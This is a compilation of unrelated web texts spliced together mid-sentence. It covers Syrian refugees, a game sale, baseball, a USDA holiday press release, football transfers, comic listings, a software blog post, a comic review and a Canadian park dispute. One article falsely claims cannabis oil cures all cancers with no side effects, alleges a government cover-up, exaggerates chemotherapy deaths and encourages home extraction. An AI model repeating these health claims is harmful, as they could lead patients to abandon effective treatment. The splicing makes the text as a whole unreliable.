it can’t deal with the influx of Syrian refugees, why should Lebanon (population four million) or Jordan do more?Frankly, this is a terrible situation. The host countries, including Turkey, need more international support to provide basic services to Syrian refugees. But the international community has responded generously to the Syrian refugee crisis—at a time when the whole humanitarian system is under strain from multiple major crises (Ukraine, South Sudan, Central African Republic, Ebola). I just don’t see how the necessary funding can be mobilized to ease the burden on the countries hosting Syrian refugees—and hosting them with no end in sight.This situation also highlights the particular challenges of working with IDPs inside Syria. While we hear a lot about the three million Syrian refugees, there are at least twice that number who are displaced within the country. Much less is known about their conditions and about the aid they’re receiving. They are likely to be more vulnerable than refugees because they’re closer to the violence and assistance is even more limited. The international system does much better at responding to human need when it is in the headlines of newspapers. IDPs are largely out of sight and out of mind.Presently, the situation of cross-border humanitarian operations inside Syria is murky territory. A number of groups, including Turkish groups supported by the Turkish government, are providing needed assistance which is keeping people alive. But there are questions about some of the groups who are delivering aid, about the motivation of the assistance, and about where the aid is actually ending up. Presently (and to oversimplify), relief agencies have to choose between working in regime-controlled areas (and thus getting permission from Damascus for their programs) or working in other areas where coordination is sorely lacking. There are some wonderful Syrian organizations providing aid outside of areas under regime control, but they’re working under dangerous conditions and their relations with UN agencies are tenuous. I’m hard-pressed to see how they would work more effectively in a buffer zone. Actually, unless there’s clear military control and oversight of a buffer zone, it’s hard to see who would be “in charge” of aid inside such a zone. And if there is strong military control of such a zone, there would be resistance by humanitarian groups to have their aid subject to military control.Obviously the pressures of another million-plus refugees from Aleppo arriving on the Turkish border are worrying. But without a lot more thought about a buffer zone, I don’t think such a zone is the answer.This has been a pretty depressing interview, Matt, and I don’t want to end on a note of despair. Beyond the political issues, don’t underestimate the impressive hospitality of the Turkish people. Even though the hospitality is wearing thin and there are signs of a backlash, Turks have been incredibly generous. They know about the violence and the terror inside Syria. I think if there is a major offensive and people have to flee, there will be important Turkish voices urging a compassionate response.Great news for Skylanders fans: the tablet starter pack edition of Skylanderâs Trap Team is currently available for $19.99 â a somewhat huge 70% discount from itâs usual $69.99 price!
Skylanders Trap Team is a pretty significant development in the world of iOS gaming. It is, to my knowledge, the first major console game to have a full-featured iOS version released simultaneously with the major console editions. This is NOT a stripped-down mobile port, a re-release of old retro code, or any of the other things iOS gamers are used to. This is a full, complete iOS gaming experiencce – the real deal.
The game itself is available as a free download, and is fully compatible with MFi controllers. Much of the Skylanders experience, however, involves syncing up collectable toys to the game and using those toys to unlock new characters with new abilities. This tablet starter edition provides a great way to get into the game, and includes multiple character figures and the base station used to enter them into the game.
Also included: a special bluetooth controller. Sadly, this is NOT an MFi controller, and is incompatible with anything other than Skylanders. Still, as Skylanders supports multiple controllers for co-op multiplayer, having an extra one in the box nicely complements the MFi controller you already have.
I have no clue how long this sale on the Tablet edition will be lasting, but I took this opportunity to order one.Bronson Arroyo needed a cortizone shot in his elbow after losing to the Reds Friday night. (Photo: AP Photo/Matt York)
PHOENIX – Bronson Arroyo was the most cerebral, the most honest and most accessible player I covered with the Reds.
He was always willing to talk about anything.
I asked Arroyo, now with the Arizona Diamondbacks, to give his take on the Reds the day after he lost to them 6-4. He needed a cortisone shot in his elbow afterward, but he still called it the "most enjoyable loss of his career."
Arroyo, of course, spent eight years with the Reds and won 105 games. He helped turn around the pitching staff.
Here's what he had to say about the state of the club, Joey Votto and Johnny Cueto's amazing start to the season:
"Given the way that team has been built, the same problem has persisted for the last five years. And that problem is always going to be: Can you beat the Grade A pitchers in the game? Can you consistently beat the Grade A pitchers of the game? Can you beat the (Adam) Wainwrights?
Fay: Reds' 4-3 win caps off successful road trip
Join us: Talk Reds at the C Dot Show with special guest Mo Egger
"They can do it in streaks and at times. But can they do it consistently enough? When you map it onto that division – where the Cardinals have become a perennial team year after year after year – if you get off to a bad start and a team like Milwaukee gets off to a good start, you never know what could happen.
"It's a really solid ball club. It's always been a solid ball club. Everybody that plays them, I'm sure feels like, 'What a good lineup, what great pitching, what a great bullpen.'
"Pitching has gotten them to the promised land time and time again. But when you get to the playoffs, everybody's got good pitching. What you need to win a playoff series is the ability to hit that Grade A pitching.
"So you can't win 2-1 every night. You've got to put up a 4, 5 spot.
"Where they are now is a little slower than I thought they'd start out. But it's a long season. They'll probably bring it back and have a good season. But they're in the same boat we are here, man. When you're in a division that's really good, it's going to be hard to make the playoffs. That's just the way it is.
"I think it makes a huge difference taking Votto out of the lineup. Joey obviously isn't putting up the power numbers they want him to. His average is down. But his on-base percentage is good.
"They moved him to the 2 hole. He's been more productive there. He changes the dynamic of the lineup. There are guys in this game that have a reputation that kind of change the way the lineup gets pitched to and the way he gets pitched to.
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"Joey is one of those guys, even if he's not hitting the ball out of the ballpark. He's somebody people highlight and take notice of.
"Johnny Cueto is not a surprise at all. I think over the last three years in the time he's been healthy – you take out his DL time – he's probably top five in the league in ERA. Johnny's always had lights-out stuff. He's gotten better and better over the years.
"The problem with him is: Can you stay healthy? Can you do it for 162? Can you pitch 200 innings? Can you do it three years in a row? Do you show people you have the desire to do that?
"That's only thing that's a question mark with Johnny. He's got lights-out stuff. You hope that he can continue doing it out of the mere fact of the contract Homer Bailey got. That means Johnny Cueto's going to make a lot of money in this game. I'm happy for him.
"He's had his ups and downs.
"You look at guys who come from a country like he did who couldn't buy a shirt when he was a kid to get a $150 million contract is nothing but gold." ■
Erardi: Legendary pitching crew not enough for 2014 Reds
Notebook: Late relievers on a roll for the RedsWASHINGTON DC – Dec. 22, 2017 – The U.S. Department of Agriculture’s (USDA) Animal and Plant Health Inspection Service (APHIS) today issued a movement permit to Mr. S. Claus of the North Pole, a broker with Worldwide Gifts, Unlimited. The permit will allow reindeer to enter and exit the United States between the hours of 7 p.m. December 24, 2017 and 7 a.m. December 25, 2017, through or over any U.S. border port.
“It’s the season of giving and joy. Here at USDA we don’t want anything to delay these very important reindeer at our borders,” said Secretary of Agriculture Sonny Perdue. “We know that children all over the country – including my own fourteen grandchildren – are eagerly awaiting a visit from Mr. Claus and his team before they wake on Christmas morning. USDA issued this permit in advance and waived all applicable fees to help ensure a smooth trip on Christmas Eve night.”
In addition to the normal disease testing requirements, flying reindeer must undergo additional tests to ensure they will be able to safely handle significant changes in altitude and temperature throughout their journey, and are fit for landing on rooftops.
On this year’s health certificate, the accredited veterinarian noted that one of the reindeer named Rudolph was positive for “red nose syndrome,” however, it was also explained that this is normal for him and not an animal health concern. The veterinarian also verified the reindeer have been vaccinated against any diseases they could encounter on their trip around the world.
At the request of Mr. and Mrs. Claus, APHIS also completed a courtesy welfare and humane treatment check of the reindeer facility. Mr. Claus and his staff passed with flying colors.
They will arrive pulling a wooden sleigh with jingling bells attached, filled with brightly wrapped gifts. Port personnel will clean and disinfect the runners and underside of the sleigh at the time of entry, and will also conduct a short visual inspection of the reindeer.
Mr. Claus will also have his boots disinfected and will thoroughly wash his hands. These measures are intended to prevent the entry of any livestock diseases the team may encounter during deliveries to farms around the world prior to entering the United States.
“It would be a disaster for Worldwide Gifts, Unlimited, if my reindeer were to unintentionally bring in foot and mouth disease along with all the gifts,” explained Mr. Claus. “Why, something like that could put me out of business. That’s why we work all year to keep the reindeer healthy and take all possible precautions before and during our trip.”
Mr. Claus has also provided an advance list of what port personnel should expect upon their arrival. This includes a variety of food items, all of which come from approved locations and none of which pose a threat to U.S. animal or plant health.
“As we do every day, we work diligently to ensure the health of American agriculture. Mr. Claus and the reindeer can safely continue their journey across the country and around the world, spreading holiday cheer as they go,” said Secretary Perdue. (USDA Link)
If you don’t follow Agriculture Secretary Perdue on Twitter you are missing a lot of joy.
A life-long farmer running the U.S. Department of Agriculture… who knew such hands-on expertise would be such great management?…. Go figure.
At the U.S. Capitol for the Christmas Tree lighting, and these folks just looked like they wanted their picture taken. So I took it for them. pic.twitter.com/kMWSdDiYZ1 — Sec. Sonny Perdue (@SecretarySonny) December 6, 2017
I pose for a lot of selfies, but you don't often get to see the finished product. @Nat4HCongress @4H pic.twitter.com/k4EBH7lUTq — Sec. Sonny Perdue (@SecretarySonny) November 25, 2017
America's farmers produce over 44 billion pounds of potatoes and 3 billion pounds of sweet potatoes each year. Feel like we did our part to put a dent in those numbers at the Perdue family Thanksgiving. pic.twitter.com/AnxGlccz2e — Sec. Sonny Perdue (@SecretarySonny) November 23, 2017
Some scenes from the Perdue family Thanksgiving. The lady in the pink jacket is Aunt Elizabeth, my father's only surviving sister, who hosted the event at her house for many years. pic.twitter.com/dmL9xyWM8j — Sec. Sonny Perdue (@SecretarySonny) November 23, 2017
Such a blessed Thanksgiving at the Perdue family gathering. Here's hoping you are able to spend time with your own friends and family. pic.twitter.com/VQbNhn769a — Sec. Sonny Perdue (@SecretarySonny) November 23, 2017
Every once in a while, I do what I call "Management by Walking Around." I drop by unannounced in random offices in @USDA. Here's Bill Clay of @USDA_APHIS Wildlife Services. Had a good talk about controlling the feral swine population. pic.twitter.com/RrQoecO5Lj — Sec. Sonny Perdue (@SecretarySonny) November 17, 2017
AdvertisementsThe Manchester United striker Robin Van Persie is edging closer to a move to Fenerbahce after reaching an agreement in principle with the Super Lig side.
It is understood that Van Persie’s agent, Kees Vos, has been in Istanbul for the past two days, involved in negotiations with the Turkish club to secure a deal. The two clubs are currently negotiating a fee for the 31-year-old, who has agreed personal terms with the club and is ready to sign a four-year deal.
Manchester United to improve offer for Southampton’s Morgan Schneiderlin Read more
The Holland international’s wife initially had reservations about a move to Turkey, but warmed to the idea after spending last week in Istanbul. The Guardian understands that the former Fenerbahce winger Dirk Kuyt has been key in convincing Van Persie to make the move. The former Liverpool player spent three seasons in Istanbul winning the Super Lig, the Turkish Cup and Turkish Super Cup during his time.
Since being Louis van Gaal’s captain when the Dutchman coached Holland at last summer’s World Cup in Brazil, Van Persie’s stock has fallen dramatically at United. When Van Gaal took over the 20-times champions a few days after the tournament ended, Van Persie was considered the favourite to be named United’s new leader following Nemanja Vidic’s departure.
However, Van Gaal chose Wayne Rooney to wear the armband instead with Darren Fletcher and Michael Carrick his vice-captains. This was an initial indication of how the manager viewed Van Persie and by the end of the season the striker had been dropped by Van Gaal.
Manchester United refuse to sell David de Gea unless they get Sergio Ramos Read more
Even Radamel Falcao, who suffered a dismal campaign while on-loan at United, kept Van Persie out of the side. For the pivotal visit to Chelsea on 18 April Falcao started against José Mourinho’s team and Van Persie was an unused substitute. What may be his final appearance for the club came as a 61st-minute substitute for Falcao in the 1-1 draw with Arsenal at Old Trafford on 17 May.
For a player who fired United to their last championship, in the 2012-13 season, Sir Alex Ferguson’s final in charge, his exit, if confirmed, will prove muted. Since that season Van Persie has been injury plagued and his goal return has fallen away. Last season he managed only 10 in all competitions for United.
Van Persie’s United team-mate Nani is also on his way to Fenerbahce and will have a medical with the club on Sunday. If Van Persie joins the winger in Istanbul he would become the club’s seventh signing of |
/ 32 PAGES / FC / T+ / $2.99
With the existence of the entire galaxy at stake, what’s the cost of a few loved ones’ lives? Is Tech Jacket’s life about to get seriously jacked up?
THEY’RE NOT LIKE US #6
story: ERIC STEPHENSON
art / cover: SIMON GANE & JORDIE BELLAIRE
MAY 27 / 24 PAGES / FC / M / $2.99
CHAPTER SIX: “COMPLICATED SHADOWS”
THIEF OF THIEVES #29
story: ANDY DIGGLE
art / cover: SHAWN MARTINBROUGH & ADRIANO LUCAS
MAY 27 / 32 PAGES / FC / M / $2.99
One thief’s career is over while another’s is just getting started.
THE THRILLING ADVENTURE HOUR PRESENTS...BEYOND BELIEF #3 (of 4)
story: BEN ACKER & BEN BLACKER
art / cover: PHIL HESTER
MAY 27 / 32 PAGES / FC / T / $3.50
BASED ON THE HIT NERDIST PODCAST!
A haunted tree makes nature monsters who make trouble for the Doyles who make drinks! Also: An ancient blood magick cult thinks it’s so great! And the return of America’s #1 Under-the-Bed Boogeyman...Mr. Fuzzyface!
THE THRILLING ADVENTURE HOUR PRESENTS...SPARKS NEVADA: MARSHAL ON MARS #4 (of 4)
story: BEN ACKER & BEN BLACKER
art / cover: J. BONE
MAY 20 / 32 PAGES / FC / T / $3.50
BASED ON THE HIT NERDIST PODCAST!
Somebody that Sparks didn’t think was a threat is totally a humongous threat, like a big crazy cosmic-level threat, and maybe Mars is gonna get all blown up?
THE TITHE #2
story: MATT HAWKINS
art / covers A & B: RAHSAN EKEDAL
MAY 20 / 32 PAGES / FC / T+ / $3.99
Another mega-church is robbed despite the FBI’s surveillance. Tension ratchets up as a member of Samaritan’s “heist” team is killed and the “Robin Hood” act isn’t quite as fun as they thought.
VELVET #13
story: ED BRUBAKER
art / cover: STEVE EPTING & ELIZABETH BREITWEISER
MAY 27 / 32 PAGES / FC / M / $3.50
Velvet's answers begin falling into place, and everything is much worse than she ever thought it would be!
THE WALKING DEAD #141
story: ROBERT KIRKMAN
art: CHARLIE ADLARD, STEFANO GAUDIANO, & CLIFF RATHBURN cover: CHARLIE ADLARD & DAVE STEWART
MAY 13 / 32 PAGES / BW / M / $2.99
Opportunity.
WAYWARD #8
story: JIM ZUB
art / cover A: STEVEN CUMMINGS & TAMRA BONVILLAIN
cover B: KEN NIIMURA
MAY 27 / 32 PAGES / FC / M / $3.50
Ayane's strange feline origin is revealed in the most unlikely of places.
Cover A is part three of a five-part panorama by STEVEN CUMMINGS & TAMRA BONVILLAIN. Buy all five issues of this story arc to fit them together into a massive WAYWARD illustration.
Cover B is a variant by acclaimed illustrator KEN NIIMURA (I KILL GIANTS).
THE WICKED + THE DIVINE #11
story: KIERON GILLEN
art / cover: JAMIE MCKELVIE & MATT WILSON
MAY 27 / 32 PAGES / FC / M / $3.50
The end of Fandemonium. The end of Ragnarock. The end of the arc. The start of something else. Everything's going to be okay.Written by Lara Starr
Cannabis is labeled by the US Government as a Schedule One Narcotic, meaning little to no known medical value. (Even though the US Govt holds patents that state otherwise) Marinol, which is APPROVED BY THE FDA, is synthesized THC. Millions of people are sitting in jail for using Cannabis raw, but it’s ‘perfectly fine’ to use the plant if the Government and their corporate owners take most of the medicine out of it, then get to charge you an arm and a leg for it. Why is that? I shall explain.
The US Government is well aware Cannabis has medicinal properties. How could they not? It’s been used as a medicine for at least the past 10,000 years. Even in America, Cannabis was used as a medicine for over 100 years. It was in over a hundred over the counter medicines for a wide range of reasons. Everything from pain and nausea medication to sleeping tonics. (Why did they make it illegal? It’s a long story so I won’t go into it today.. If you’d like to read about the greed and racism that caused the criminalization of the worlds most useful plant, check out this article) http://www.drugwarrant.com/articles/why-is-marijuana-illegal/
Among the reasons you will learn about on the link I shared above, the US Government has even more reason to keep it illegal today. If Cannabis were to become legalized, it would eat away at TRILLIONS of pharmaceutical profits over the years. (Not including other profits like the billions they get for keeping our privately owned prisons full) What most people don’t realize is, the Government(s) have been helping the major pharmaceutical companies stonewall natural cures for decades. (Cannabis is merely one of many they have tried to bury and discredit) In fact, the US Government has known since 1974 that Cannabis cures Cancer. In ’72 Richard Nixon wanted a larger budget for his war on drugs. He thought that if he proved Cannabis caused lung cancer like cigarettes do, he would get the support he needed. He gave the Medical College of Virginia 2 years to do a study on the effects of THC on the body. In ’74 the study was completed. It turns out, THC when ingested in highly concentrated forms (such as eating Cannabis oil) will attack any mutated cells in your body while strengthening and rejuvenating the healthy cells. They found the PERFECT cure for Cancer. It worked fast, it worked well, it worked on many different forms of Cancer in ALL stages and it had ZERO harmful side effects. (Unlike Chemo which deteriorates your entire body and kills 1 in 5 patients. Not only that, but other research shows it dissolves ALL forms of tumors and can even combat super-bugs like MRSA.) When Richard Nixon saw the results of the study he was FURIOUS. He threw the entire report in the trash and deemed the study classified. In 1976 President Gerald Ford put an end to all public cannabis research and granted exclusive research rights to major pharmaceutical companies, who set out — unsuccessfully — to develop synthetic forms of THC that would deliver all the medical benefits without the “high.”
We only found out about the study a few years ago thanks to dedicated medical and law professionals who filed Freedom of Information Requests. The Government lied for many reasons.. One of the main reasons is Pharmaceutical Companies. They spend billions every year lobbying to keep Cannabis illegal because they make TRILLIONS off Cancer drugs and research. They are already well aware that Cannabis cures Cancer. They have a well thought out con going at the moment. Cancer patients and their loved ones will spend their entire life savings or even sell their houses and businesses in order to pay for Chemotherapy and other Cancer treatment drugs. A lot of the time they spend all that money and their loved one dies anyway. If the public found out that the Government has been lying for over 40 years, that MILLIONS of lives could have been saved and that the dying could grow the cure they so desperately need in their own backyard… The American public would be going nuts over it. This is why we need your help telling people!
Here is an article about what they did if you’d like to read more, as well as an article about more suppressed research. Cannabis Cures Cancer- US Government has known since 197422. U.S. Government Repressed Marijuana-Tumor Research
Keep in mind.. The US Government also holds a Patent on Cannabis and it’s medicinal properties. US Patent 6630507 states unequivocally that cannabinoids are useful in the prevention and treatment of a wide variety of diseases including auto-immune disorders, stroke, trauma, Parkinson’s, Alzheimer’s and HIV dementia. The patent, awarded in 2003, is based on research done by the National Institute of Health, and is assigned to the US Dept. of Health and Human Services. In the age of information, they can no longer keep their lies about Cannabis afloat.
SHARE THIS INFORMATION EVERYWHERE!! http://www.ncbi.nlm.nih.gov/pubmed/17952650
If you want more info about the patent, here is a link for you. http://www.patentstorm.us/patents/6630507.html
In case you are wondering the difference between a few things like Hemp oil and Cannabis oil, I figured I’d explain that too. THC is soluble in alcohol and fats only. This is why people saute it in butter and use it in things like cakes and cookies. You can make Cannabis Ghee (which is essentially Canna-butter) and use it how you would normally use butter in a recipe.
Cannabis oil is made by crushing raw Cannabis in grain alcohol (as close to 100% as possible), straining it and cooking off the alcohol VERY carefully. All you will be left with is essentially ‘pure medicine’ in highly concentrated form.
Hemp oil is made by cold-pressing the seeds of the Hemp plant and extracting the healthy oil within. It is used for things like food and fuel, but it will not cure cancer because it lacks THC. (Hence the reason it’s legal to buy at places like Trader Joe’s)
Now, I realize how badly some people are going to want to get their hands on Cannabis oil for their suffering loved ones. I’m sorry to say, the only place you can get the oil is from Cannabis dispensaries in areas where it is sold legally. Otherwise you have to make it yourself which can be highly complicated and even dangerous since you have to worry about alcohol fumes and legal repercussions if you get caught. (Here’s a video that shows you how)
Still, in my opinion it is well worth the risks since it has already saved THOUSANDS of people (and pets) from horrible deaths due to diseases like Cancer. If you would like to hear many testimonies on the subject, type ‘Cannabis cured my cancer’ or ‘Cannabis cures Cancer’ into youtube search. When you do, you will see how many people are trying to get the word out about this AMAZING cure.
If you would like info on other ways to use Cannabis, here are a few examples.
Raw Cannabis Juice, Cannabis Salve, Cannabis Ghee, Cannabis Tincture, and Grain Alcohol Extraction (aka the Cannabis oil that I mentioned above).Just recently I gave a talk to /dev/070/ meetup group titled “Understanding Understanding”. In the presentation I outlined a number of concepts in other domains that I felt had strong parallels with the thinking behind Simz; that for a man or machine to truly understand and manage the behavior of other men or machines he/she or it must somehow mirror and embody the observed behavior themselves. The slides are available here.
One theorem presented in the talk is the Good Regulator. The theorem is central to cybernetics. But what exactly would such a model look like? What elements should the model contain and how might they be related and reasoned about? The theorem itself does not address this so I presented my own research findings that covered dramatism, observational learning, experiential learning, activity theory, simulation theory and mirror neurons as well as software activity metering and software performance measurement. Yes, a very “unusual” talk for a software developer meetup as commented on by many afterwards.
Essentially what I presented was a model of human and software understanding based on activities actioned by actors within an environment supporting observation and perception of such acts including the situational context surrounding them, both before and after. An actor, not in the sense of the actor programming model, produces, begins and ends, an action in response to, or in anticipation of, some stimulus (action, signal or event), which could very well be mapped to a service, thread, process, system or human (by proxy).
I then followed on from this with a discussion on how such a model afforded flexible mapping to any domain at multiple layers (or levels) of abstraction and modeling. More importantly, I demonstrated how software (behavioral) memories could be recorded (stored) and recalled (simulated). But for a machine to truly understand another machine much like how we understand each other (with varying levels of success), all participates needed to be able to some degree sense and simulate the others for the purpose of action perception, intent exposition, and outcome prediction. I presented a number of very interesting software mirroring and simulation demonstrations, offering glimpses into a future that allowed software developers and system designers to model, manage and manipulate the space and time dimension of software execution for the purpose of post augmentation, performance monitoring, and partitioned integration and so on. But I felt I could get even closer to the human model of social understanding if instead of having many software machines project their behavior into a single machine (control) plane, as is the case with many of the Simz demonstrations I’ve videoed, I had two machines perceive and simulate the action of each other and to respond appropriately to such perceptions. Each machine would project metered activities it performed to the other and each machine would simulate the actions projected by the other and trigger internal state changes. Meet Ping-n-Pong!
Surprisingly the diagram is far more complex than the actual code because all the magic is performed by Satoris, for dynamic bytecode instrumentation and activity metering, and Simz for mirroring and activity simulation. Lets start with the Game class. This is the only class that is actually instrumented in both loosely coordinated Java runtimes. When the Game.ping method is invoked within the Ping runtime a BEGIN event is transparently projected over into a metering simulation running within the Pong runtime. Likewise when the Game.pong method is invoked within the Pong runtime a BEGIN event is transparently projected over into a metering simulation running within the Ping runtime.
The Ping class uses a Bootstrap class to embed a Simz server within the runtime and then calls Game.ping method to start the game. Looking at the above code you might think this will simply spin but I’ll come back to how the Game state is synchronized across runtimes by way of replicated behavior and a Percept class that is hooked into the metering engine in order to intercept call events, both in the application code as well as the simulation.
The Pong class waits for the Game to begin and then it too goes into a loop calling Game.pong with each iteration. Again the above Game code would have you believe that the Pong would simply spin in the first while loop as nowhere is there any change in state. Hold on, the magic is about to be revealed.
The Percept class is the magic binding both runtimes together, transparently. It hooks into the metering engine invoked by the bytecode instrumentation dynamically injected into the Game class by Satoris agent in both runtimes. It also hooks into the metering engine used by the Simz server embedded within each runtime receiving mirrored metering events from the other metered runtime. There are in fact 4 metering engines. Within each runtime, there is a metering engine for action and another for the perception of metered actions performed by other external actors.
When Game.ping() is invoked by Ping the Percept will set Game.state to PING within the Ping runtime. The thread will then wait within the Game.ping method until Pong receives the Game.ping mirrored metering event within its simulation causing it to exit from its initial wait loop, by way of the Percept setting Game.state to Game.PONG, and call Game.pong() which then results in the call event being mirrored back over into the Ping runtime where it triggers the exiting from the Game.ping method, and it all repeats over and over. It is important to note that no state is being moved between runtimes though Simz does support the transmission of environment state. Instead software execution behavior is replicated to trigger the required state change. The actors, Ping and Pong, perceive each others action via the simulation and the Percept hook, and then respond by executing (or exiting from) methods that represent actions within the model. This is incredibly impressive because there is no explicit dependency on any actor programming stack such as Akka. It is clean and concise and void of framework and language pollution.I am not a fan of H.P. Lovecraft. I have attempted a number of times (well, OK, two) to delve into the seminal horror author’s work and each time found myself unable to proceed very far. Whatever merits his prose might possess, I have repeatedly found his stories overly written, overly mannered, devoid of compelling characters, and incapable of producing believable dialogue. And then there’s all that racism.
That being the case, you would think that something like Providence, the recently finished 12-issue comic by writer Alan Moore and artist Jacen Burrows, would hold no appeal for me, seeing as it delves heavily into Lovecraftian mythos, to the point where the author himself appears as a significant character. How could I possibly find enjoyment out of a comic that is pretty much a treatise on an author I really don’t care much for?
And yet I did. Regardless of whatever misgivings I might have about Lovecraft’s place in the literary canon, I found Providence to be a compelling, if disquieting, comic, one that speaks to both our current era and American history as much as it does the unspeakable horrors that Lovecraft dreamed up.
Burrows’s name is probably unfamiliar to you, but I’m hoping that Alan Moore needs no introduction. The British author made a name for himself way back in the 1980s, where he turned familiar comic book tropes and genres on their heads in titles like Miracleman, V for Vendetta, and D.C.’s Swamp Thing. His best-known and most well-regarded work is easily Watchmen, a self-contained superhero whodunit that pointed the way — along with a few other late-’80s works like Dark Knight Returns and Love and Rockets — to creating sophisticated, layered comics for a more adult audience. His influence can still be strongly felt in most of the mainstream (i.e. superhero) comics being produced today.
Having forsworn Marvel and D.C., he’s spent a good bit of his career in the ensuing years working on more personal projects that explore occultism and magic (Promethea) and, relatedly, the symbolic power of fiction and storytelling (League of Extraordinary Gentlemen). A practicing ceremonial magician, Moore has advocated the notion of a collective unconscious of sorts, composed of ideas that anyone can access and utilize. For Moore, the creation of art is literal magic in and of itself, so it’s no surprise that Providence contains of all of these elements.
Providence is actually the final (or is it first?) chapter in a trilogy of sorts, one that began with The Courtyard, a Lovecraft-themed prose story Moore wrote in 1994 and that Burrows and Antony Johnston adapted into comics back in 2003 for publisher Avatar Press. Moore and Burrows followed that up with Neonomicon in 2010, a dark, mean comic featuring a modern female detective who runs afoul of some Lovecraftian cultists who are keeping... something in their basement. Providence tells the story of what came before these two tales and then wraps everything up in a nice, apocalyptic bow. Keeping all that in mind, readers would be better suited to peruse those works, more than Lovecraft’s, before jumping into Providence. (Avatar just funded a Kickstarter-backed project that will collect all three series into one slipcased set, due out in October.)
Providence takes place in 1919, in an America very much like our own but with subtle differences, such as “exit chambers” — small, domed buildings where people can go to commit suicide. It is in one of these structures that the spurned lover of New York City newspaper reporter Robert Black, a Jewish, closeted gay man, kills himself. Shaken by the tragedy and imbued with a desire to be a writer of no small importance, Black decides to suppress his grief by taking a trip up to New England, ostensibly to get research for a potential novel about a hidden America, one that perhaps has dealings in the occult or a secret society or two.
Of course, it isn’t long before Black comes across a more gruesome and nefarious “hidden America” than he had initially suspected, although it takes him a while to fully realize what he’s actually encountered. Each stop along Black’s trip brings him into contact with various characters from Lovecraft’s stories. The names are changed, mind you, but they all correspond to the characters in Lovecraft tales like The Shadow Over Innsmouth or The Thing on the Doorstep. (And while I maintain that knowledge of these stories is not necessary to enjoy the comic, I should note there is a very helpful website that provides annotations for each issue/chapter, so you can know exactly which story is being referenced when.)
As mentioned, Black is no stranger to secrets, hiding his “true self” (Jewish, homosexual) from most of the outside world and only dropping his guard among a chosen few members of his own “secret society.” But he’s not as much of an outsider as he likes to think. Indeed, as we travel with Black, we realize how unsympathetic a protagonist he is at times. Beyond his cruel and cowardly rejection of his lover (shown in flashback), Black frequently comes off as snobbish and insultingly dismissive of those he considers intellectually inferior (exemplified in the prose passages excerpted from his diary or “commonplace book” at the end of each chapter). He’s also often rather clueless as to the true motives of the folks he meets (in true Moore doublespeak, everyone keeps referring to him as “the Herald,” which he takes to mean the newspaper he used to work at, even when it’s quite clear they don’t). Black encounters a good deal of bigotry and even downright repulsion towards some folks in his travels, but it is not as though he himself is immune from those behaviors. The fact is that in his general attitudes and prejudices, Black is as much a part of “normal” society as he is separate from it.
Indeed, this idea of what it means to truly be an outsider (Is it Black? Or the monsters he encounters?) suffuses Providence. One of Moore’s stated intents with both Neonomicon and Providence is to bring to the fore the sexual, racial, and xenophobic issues that dwelt unspoken at the heart of Lovecraft’s work. Lovecraft might have seen himself as a man out of time to some degree (his abhorrence of modern literature is well known), but though he was perhaps more expressive in voicing his racism and antisemitism than his contemporaries, it wasn’t as though such opinions were out of sync with the times.
Throughout the trilogy, Moore pushes this subtext to the fore, especially as it pertains to sex and sexual violence, often to uncomfortable and upsetting places. Neonomicon, for example, features an extended and horrific rape sequence. Providence has two instances of sexual assault, one particularly harrowing example located at exactly the midway point of the story. A third, incestuous incident is alluded to in passing. (Providence is restrained in its gore, but it certainly pulls few punches, so caveat emptor.)
Another of Moore’s stated goals with Providence is to find a way to make Lovecraft seem scary again, perhaps a more difficult task than you might think given that plush Cthulhu dolls are easily available for purchase these days (and indeed several are prominently placed in both Neonomicon and Providence). “I think what is perhaps needed is an effort to refocus the readership’s attention upon the things that are genuinely frightening or disturbing about Lovecraft’s writing,” Moore said in an interview last year, “such as his ruminations about our probable flight from knowledge and complexity, rather than on how cool a beard of tentacles looks.”
It’s that “flight from knowledge and complexity” that gives Providence a haunting correlation with our contemporary culture and politics. As the chaos (spoiler alert) that Black inadvertently sets loose starts to take hold of the world at large, various characters struggle in their attempt to not just process but come to terms with what they are bearing witnessing. And if their struggle to accept what by all rights should be utterly unacceptable bears any relation to Brexit or the recent presidential election (or, heck, any political event of the past few months), well, I’m sure that’s just good timing. I don’t know without rifling through my copies if anyone actually uses the phrase, “this is not normal” towards the end, but it wouldn’t surprise me if they did.
In many ways, Providence is the flip side of the coin to Moore’s Promethea, serialized from 1999 to 2005 and produced with the artist J.H. Williams. In that comic, one far more optimistic about humanity and the future than Providence, there is an apocalypse, but a benevolent one, which allows you to see people you have lost and where peace reigns. Providence similarly ends with the arrival of a new age (and there are plenty of Christian allegories made just to drive that point home), but just how benevolent its happening is depends upon whether you’re one of Lovecraft’s otherworldly monsters or not.
I have not yet discussed Burrows’s art work. Honestly, I was not a fan at first. Initially, I found his style cold and stiff, especially in earlier works like The Courtyard, where the characters boast weirdly elongated faces and bodies. His backgrounds seemed meticulous, spacious, and devoid of energy or warmth all at once.
But Burrows’s sterile style grew on me. He’s upped his game considerably for Providence — able to convey all the subtle and not-so-subtle emotions Robert Black and the rest of the cast go through with considerable aplomb. What’s more, his overly precise renderings perfectly match the cold tension in Moore’s text. Everything seems as it should be, but at the same time something seems a little too off, perhaps a little too neat. I can’t think of another artist doing this series justice.
Honestly, I have only scratched the surface of Providence. I haven’t yet talked about the formal structure of the book (Burrows and Moore adhere to four landscape panels per page) and how it affects your reading experience. I’ve only tangentially hinted at Moore’s core idea of how certain fictional notions (in this case, Lovecraft’s) can grow to the point where they start to take shape in the real world. I barely touched on the religious allegories. I’ll have to leave it to better, more articulate scholars, though: I’m way behind deadline.
Let me sum up thusly: The idea of “fiction as criticism” is nothing new for Moore. He’s long used familiar genres, staples, and other authors’ characters to dig at larger truths about art and society. Providence is in many ways a perfect fit for Moore for those reasons, including the fact that Lovecraft enjoyed and encouraged other writers to expand upon the universe he created. Moore has been threatening on and off to quit writing comics for years now, but if Providence does turn out to be his final turn in the medium, it’s a fitting capstone. •Parks Canada says it won't revisit its decision to build a new visitor centre inside the Waterton Lakes National Park townsite, while cottage and business owners say they will continue to fight within — and possibly outside — the law to stop their tiny southern Alberta village from being "ruined."
Opponents of the $7.6 million project are concerned about congestion, traffic and parking in the townsite 260 kilometres south of Calgary. They want the new visitor centre built on the outskirts of town like the old one, but Parks Canada has already rejected that option.
Dave Cruickshank says he owns "half of main street" — a restaurant, a book store, three gift shops and a jewelry store — and that Parks Canada has been operating like a dictatorship on this development.
Despite the fact he, like all residents and business owners, leases his land from the federal agency, Cruickshank says he's not afraid to speak out to try to stop the government from destroying the town.
"They've already ruined Banff, it's a horror show. They're well on their way to ruining Jasper and now they're picking on Waterton park," said Cruickshank, 75.
